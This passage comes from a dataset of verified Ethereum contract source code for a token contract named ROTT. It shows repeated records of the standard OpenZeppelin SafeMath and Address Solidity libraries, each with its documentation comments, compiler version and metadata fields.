* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
4026,
4161
]
} | 6,985 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
4675,
4846
]
} | 6,986 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
606,
1230
]
} | 6,987 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
2160,
2562
]
} | 6,988 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
3318,
3496
]
} | 6,989 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5 | {
"func_code_index": [
3721,
3922
]
} | 6,990 |
ROTT | ROTT.sol | 0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
